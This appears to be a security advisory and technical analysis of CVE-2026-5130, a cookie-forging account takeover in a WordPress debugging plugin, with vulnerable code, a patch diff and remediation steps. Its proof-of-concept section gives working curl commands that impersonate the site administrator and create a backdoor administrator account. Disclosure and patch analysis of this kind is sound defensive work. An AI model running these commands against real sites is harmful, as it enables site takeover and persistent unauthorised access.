CVE-2026-5130: Debugger & Troubleshooter Unauthenticated Account Takeover
Table of Contents
CVE-2026-5130 is a CVSS 8.8 High Severity unauthenticated privilege escalation vulnerability in the Debugger & Troubleshooter WordPress plugin. By sending a single HTTP request with a forged cookie, an attacker with no account and no prior knowledge of the site can impersonate any user — including the primary administrator — and take full control of the WordPress installation.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Debugger & Troubleshooter |
| Plugin Slug | debugger-troubleshooter |
| CVE ID | CVE-2026-5130 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-565 — Reliance on Cookies without Validation and Integrity Checking |
| Vulnerability Type | Unauthenticated Privilege Escalation via Cookie Manipulation |
| Affected Versions | <= 1.3.2 |
| Patched Version | 1.4.0 |
| Published | March 30, 2026 |
| Researcher | Nabil Irawan — Heroes Cyber Security |
| Wordfence Advisory | Link |
Description
The Debugger & Troubleshooter plugin for WordPress includes a “User Role Simulator” feature that lets administrators temporarily impersonate other users for debugging purposes. In versions up to and including 1.3.2, the plugin trusted a client-controlled cookie (wp_debug_troubleshoot_simulate_user) as a raw user ID, with no cryptographic validation, no server-side mapping, and no check that the cookie was ever issued by an administrator.
Because the cookie value is read on every request via the plugins_loaded hook (priority 0) and then injected into WordPress’s authentication pipeline through the determine_current_user filter, an entirely unauthenticated attacker can impersonate any user on the site — including the primary administrator (typically user ID 1) — by sending a single HTTP request with a forged cookie.
This grants the attacker full administrator privileges, enabling complete site takeover: creation of new administrator accounts, plugin/theme installation, content modification, and arbitrary code execution via the standard plugin/theme upload paths.
Technical Analysis
Affected Component
- File:
debug-troubleshooter.php - Class:
Debug_Troubleshooter - Constant:
SIMULATE_USER_COOKIE = 'wp_debug_troubleshoot_simulate_user'
Vulnerable Code Path
The exploit chain is short — three pieces of code working together is enough.
1. Hook registration (constructor, line 77):
// Core troubleshooting logic (very early hook).
add_action('plugins_loaded', array($this, 'init_troubleshooting_mode'), 0);
add_action('plugins_loaded', array($this, 'init_live_debug_mode'), 0);
add_action('plugins_loaded', array($this, 'init_user_simulation'), 0);
init_user_simulation() is wired to plugins_loaded at priority 0, which means it runs on every single HTTP request that loads WordPress — REST API calls, admin pages, front-end pages, AJAX requests, the lot. Crucially, this includes requests from completely unauthenticated visitors.
2. Cookie ingestion (init_user_simulation, lines 797–806):
public function init_user_simulation()
{
if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
$this->simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];
// Hook into determine_current_user to override the user ID.
// Priority 20 ensures we run after most standard authentication checks.
add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
}
}
The cookie value is directly cast to an integer and stored. There is:
- No nonce check — there is no nonce, anywhere, for this code path.
- No capability check —
current_user_can()is never called. - No HMAC, signature, or token validation — the cookie value is the user ID, in plain text.
- No server-side mapping lookup — the cookie is not cross-checked against any allow-list of “this admin previously authorized impersonation”.
- No origin or referer check.
- No rate limiting.
If the cookie is present, the next step is unconditional.
3. Authentication override (simulate_user_filter, lines 814–820):
public function simulate_user_filter($user_id)
{
if ($this->simulated_user_id) {
return $this->simulated_user_id;
}
return $user_id;
}
determine_current_user is the canonical WordPress filter that decides who the current user is. Returning a user ID from this filter is functionally equivalent to a successful login: every subsequent call to wp_get_current_user(), is_user_logged_in(), current_user_can(), etc., will see the attacker as the impersonated user.
Because this filter runs at priority 20 — after the standard cookie-auth resolver — the attacker’s value overrides the legitimate authentication outcome. An anonymous request with Cookie: wp_debug_troubleshoot_simulate_user=1 is now WordPress user ID 1 (almost always the site owner / primary administrator).
Root Cause
The plugin treats a client-controlled, integrity-free cookie as an authoritative source of identity. The cookie value is the secret and the claim — there is no separation between “the attacker is asserting this user ID” and “the system has verified this assertion”. Anything the client sends is accepted.
This is a textbook example of CWE-565: Reliance on Cookies without Validation and Integrity Checking. The mistake is conceptual: the developer treated the cookie as if it were a server-issued capability (because it was set via setcookie() from an admin-only AJAX handler) rather than as untrusted user input (which is what every cookie actually is on the wire).
Why Existing Controls Failed
The plugin’s “Enter Simulation” AJAX handler (ajax_toggle_simulate_user, line 918) does enforce both a nonce and current_user_can('manage_options') before issuing the cookie:
if ($is_post) {
check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
}
if (!current_user_can('manage_options') && !$this->is_simulating_user()) {
wp_send_json_error(array('message' => __('Permission denied.', 'debugger-troubleshooter')));
}
These checks gate the issuance of the cookie — but they are completely irrelevant to an attacker, because the cookie is just a number. The attacker doesn’t need the AJAX endpoint to issue them a cookie; they can write the cookie themselves with curl -b. The integrity check that should have run on the consumption side (init_user_simulation) was never written.
In short: the legitimate code path was protected; the trusting code path was the entire vulnerability.
Attack Impact
A single HTTP request with a forged cookie grants the attacker the privileges of any chosen user ID. Practically:
- Setting
=1impersonates the first user, which on the overwhelming majority of WordPress installs is the site owner / primary administrator. - Once authenticated as administrator, the attacker can:
- Create additional administrator accounts (persistent backdoor)
- Install and activate arbitrary plugins or themes (RCE via plugin upload)
- Edit theme/plugin files via the editor (direct RCE)
- Read or modify any database content (posts, users, options, secrets)
- Export site data, exfiltrate user credentials/PII
- Hijack the site for SEO spam, malware distribution, or phishing
The attack requires no authentication, no user interaction, no prior knowledge of the site’s configuration, and can be performed in a single request. CVSS 8.8 (High) is on the conservative side; the practical impact is total site compromise.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. Use only against systems you own or have explicit written permission to test.
Prerequisites
- A WordPress installation with the Debugger & Troubleshooter plugin installed and activated, version
<= 1.3.2 - Network access to the target site
- That’s it — no account, no nonce, no prior knowledge
Step-by-Step Reproduction
Step 1 — Confirm the takeover by accessing the WordPress dashboard.
From a clean, unauthenticated client (no existing WordPress session), send a request to /wp-admin/ with the forged cookie:
curl -i \
-b "wp_debug_troubleshoot_simulate_user=1" \
"https://target.tld/wp-admin/index.php"
Without the cookie, this request would return a 302 redirect to wp-login.php. With the cookie, it returns HTTP/1.1 200 OK and the full HTML of the WordPress administrator dashboard. The response will contain markers such as <body class="wp-admin ...">, the admin bar, and the welcome panel — proof that the plugin has authenticated the request as user ID 1.
Step 2 — Harvest a user-creation nonce from the admin UI.
Now that the attacker is “logged in”, they can scrape any admin page to obtain valid nonces. Fetch the “Add New User” page and extract the _wpnonce_create-user token:
curl -s \
-b "wp_debug_troubleshoot_simulate_user=1" \
"https://target.tld/wp-admin/user-new.php" \
-o user-new.html
NONCE=$(grep -oE 'name="_wpnonce_create-user" value="[a-f0-9]+"' user-new.html \
| head -n1 \
| sed -E 's/.*value="([a-f0-9]+)".*/\1/')
echo "Captured nonce: $NONCE"
Step 3 — Create a new administrator account.
POST to user-new.php with the harvested nonce and a new admin’s credentials:
curl -i \
-b "wp_debug_troubleshoot_simulate_user=1" \
-d "action=createuser" \
-d "_wpnonce_create-user=$NONCE" \
-d "_wp_http_referer=%2Fwp-admin%2Fuser-new.php" \
-d "user_login=pwned" \
-d "email=pwned@example.tld" \
-d "first_name=" \
-d "last_name=" \
-d "url=" \
-d "pass1=Sup3rStr0ng!Pass" \
-d "pass2=Sup3rStr0ng!Pass" \
-d "pw_weak=on" \
-d "send_user_notification=0" \
-d "role=administrator" \
-d "createuser=Add+New+User+" \
"https://target.tld/wp-admin/user-new.php"
Expected Result
After Step 1, the attacker has full administrator-level access for the duration of any request that includes the cookie — no session, no credentials, no token exchange.
After Step 3, a persistent backdoor administrator account named pwned exists in the database with the password Sup3rStr0ng!Pass. This account survives even if the plugin is later removed or patched, giving the attacker durable access independent of the original vulnerability.
Verification
Confirm the takeover via any of:
- Visual: open
https://target.tld/wp-admin/users.php?role=administratorin a browser with the cookie set; the newpwneduser appears in the administrator list. - Database:
wp user list --role=administrator(via WP-CLI) shows the rogue user. - Login: navigate to
wp-login.phpand authenticate aspwned/Sup3rStr0ng!Pass— full dashboard access without any forged cookie.
Patch Analysis
What Changed
The patch (version 1.4.0) restructures the simulation feature around a server-side token store. Two changes are load-bearing:
- Cookie value is now an unguessable token, not a user ID. When an admin starts a simulation, the plugin generates a 64-character random token via
wp_generate_password(64, false), storestoken => user_idin thedbgtbl_sim_usersWordPress option, and sets the cookie to the token. init_user_simulation()now requires the cookie to map to an existing entry in the option. If the token isn’t in the database, the filter is never registered and the request proceeds as anonymous.
A handful of secondary hardening changes were also made:
- Mandatory nonce check in
ajax_toggle_simulate_user— the previous version exempted GET requests (“the Exit action might not have a nonce”) allowing CSRF on the disable path. The new version requirescheck_ajax_refererunconditionally. - The exit-simulation script now embeds a fresh nonce and posts it back, removing the GET-bypass excuse.
- Same token-based pattern applied to the unrelated
TROUBLESHOOT_COOKIE(which previously stored a JSON blob in the cookie itself — also a tampering risk, though distinct from this CVE).
Fix Explanation
The fix is conceptually correct: the cookie is now an opaque reference to a server-side state record, not the state itself. An attacker who guesses or brute-forces a cookie value would need to land on a 64-character (≈378 bits of entropy) random string that an administrator has actively created — computationally infeasible. The cookie can no longer be forged by simply choosing an integer.
The token is also tied to a specific simulation session: revoking simulation deletes the token from the option, immediately invalidating the cookie. There is no longer any way for an attacker to assert identity without the database having previously been told to honor that token.
Residual considerations:
- The
dbgtbl_sim_usersoption is unbounded; if old simulation sessions are not cleaned up the option could grow over time, but this is a hygiene issue rather than a security one. - Tokens are stored unhashed in the option. If an attacker has read access to
wp_options(e.g., via SQL injection in another plugin) they could extract a valid token and impersonate users. Hashing tokens at rest would be a defense-in-depth improvement, but this is a much narrower threat model than the original CVE. - The fix relies on
wp_generate_password(64, false)for entropy, which uses a CSPRNG on modern PHP — appropriate for this use case.
The core vulnerability is fully addressed.
Code Diff (Key Changes)
The vulnerable consumption path (lines 797–806) was rewritten:
public function init_user_simulation()
{
if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
- $this->simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];
-
- // Hook into determine_current_user to override the user ID.
- // Priority 20 ensures we run after most standard authentication checks.
- add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+ $token = sanitize_text_field(wp_unslash($_COOKIE[self::SIMULATE_USER_COOKIE]));
+ $sim_users = get_option('dbgtbl_sim_users', array());
+
+ if (isset($sim_users[$token])) {
+ $this->simulated_user_id = (int) $sim_users[$token];
+
+ // Hook into determine_current_user to override the user ID.
+ // Priority 20 ensures we run after most standard authentication checks.
+ add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+ }
}
}
The cookie issuance path now generates a token and stores the mapping server-side:
if ($enable && $user_id) {
+ $token = wp_generate_password(64, false);
+ $sim_users = get_option('dbgtbl_sim_users', array());
+ $sim_users[$token] = $user_id;
+ update_option('dbgtbl_sim_users', $sim_users);
+
// Set cookie
- setcookie(self::SIMULATE_USER_COOKIE, $user_id, array(
+ setcookie(self::SIMULATE_USER_COOKIE, $token, array(
And the AJAX handler’s nonce check is no longer conditional on the request method:
- $is_post = isset($_SERVER['REQUEST_METHOD']) && 'POST' === $_SERVER['REQUEST_METHOD'];
- if ($is_post) {
- check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
- }
+ check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
Timeline
| Date | Event |
|---|---|
| (undisclosed) | Vulnerability discovered by Nabil Irawan (Heroes Cyber Security) and reported to Wordfence |
| March 30, 2026 | Publicly disclosed via Wordfence Intelligence; version 1.4.0 released with the fix |
Remediation
Update the debugger-troubleshooter plugin to version 1.4.0 or later immediately.
If updating is not immediately possible:
- Deactivate the plugin entirely — this is a debugging tool, it should not normally be active on production sites.
- As a temporary mitigation, block the cookie at the web-server / WAF layer:
- Drop any incoming
Cookie:header containingwp_debug_troubleshoot_simulate_user.
- Drop any incoming
- After updating, audit the user list (
wp user list --role=administrator) for any unfamiliar administrator accounts and review recentwp_options, plugin installations, and file modifications for signs of post-exploitation activity.
References
- Wordfence advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/debugger-troubleshooter/debugger-troubleshooter-132-unauthenticated-privilege-escalation-to-administrator-via-cookie-manipulation
- Vulnerable source — cookie ingestion (line 827, post-patch numbering): https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L827
- Vulnerable source —
simulate_user_filter(line 849): https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L849 - Patch changeset: https://plugins.trac.wordpress.org/changeset/3486202/debugger-troubleshooter/trunk/debug-troubleshooter.php
- Plugin homepage: https://wordpress.org/plugins/debugger-troubleshooter/
- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-5130
- CWE-565: https://cwe.mitre.org/data/definitions/565.html